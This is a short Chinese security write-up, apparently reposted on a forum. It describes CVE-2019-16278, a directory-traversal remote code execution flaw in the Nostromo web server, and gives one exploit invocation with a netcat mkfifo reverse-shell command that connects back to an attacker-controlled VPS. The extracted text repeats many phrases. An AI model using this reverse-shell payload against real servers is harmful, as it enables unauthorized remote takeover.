搜索

[20271] 2019-12-29_基于CVE-2019-16278的漏洞

文档创建者：s7ckTeam
浏览次数：16
最后更新：2025-01-18
2019-12-29_基于CVE-2019-16278的漏洞 基 于 C V E - 2 0 1 9 - 1 6 2 7 8 的 漏 洞 原 创   K h a n 安 全 团 队   K h a n 安 全 攻 防 实 验 室   2 0 1 9 - 1 2 - 2 9                 本 次 仅 为 学 习 交 流 ， 请 遵 守 《 中 华 人 民 共 和 国 网 络 安 全 法 》 本 次 仅 为 学 习 交 流 ， 请 遵 守 《 中 华 人 民 共 和 国 网 络 安 全 法 》 , 勿 用 于 非 授 权 测 勿 用 于 非 授 权 测 试 试 , 如 作 他 用 所 承 受 的 法 律 责 任 一 概 与 作 者 无 关 。 如 作 他 用 所 承 受 的 法 律 责 任 一 概 与 作 者 无 关 。         前 沿 描 述 前 沿 描 述                 最 近 研 究 了 C V E - 2 0 1 9 - 1 6 2 7 8   ， n o s t r o m o   服 务 器 1 . 9 . 6   版 本 的 远 程 代 码 执 行 ， n o s t r o m o 服 务 器 是 一 个 开 源 的 w e b 服 务 器 ， 在 u n i x 系 统 中 比 较 流 行 ， 通 常 用 于 O p e n B S D 系 统 。                 N o s t r o m o 由 于 在 验 证 U R L 安 全 性 方 面 存 在 缺 陷 ， 导 致 目 录 穿 越 ， 任 何 人 都 可 以 遍 历 系 统 中 任 何 文 件 。 因 此 未 经 过 身 份 验 证 的 远 程 攻 击 者 可 以 强 制 服 务 器 指 向 / b i n / s h 这 样 的 s h e l l 文 件 ， 借 此 执 行 任 意 命 令 。 在 我 测 试 时 ， N o s t r o m o 的 所 有 版 本 ， 包 括 最 新 的 1 . 9 . 6 版 本 ， 都 存 在 漏 洞 。         h t t p s : / / c v e . m i t r e . o r g / c g i - b i n / c v e n a m e . c g i ? n a m e = C V E - 2 0 1 9 - 1 6 2 7 8 漏 洞 使 用 漏 洞 使 用                 我 利 用 了 目 标 机 器 上 的 n e t c a t 反 向 连 接 v p s 获 得 目 标 机 器 的 控 制 权 限 命 令 如 下 ： . / e x p . s h   x . x . x . x     x x     ‘ r m   / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1 | n c   x . x . x . x     x x   > / t m p / f ’                 E X P 请 自 行 百 度 （ 或 者 谷 歌 ） 。
  再 次 温 馨 提 示 ： 再 次 温 馨 提 示 ： 请 勿 用 于 非 授 权 测 试 请 勿 用 于 非 授 权 测 试 人 在 做 天 在 看 人 在 做 天 在 看 手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。 手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。                                                                                                             -   K h a n 攻 防 安 全 实 验 室 攻 防 安 全 实 验 室
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理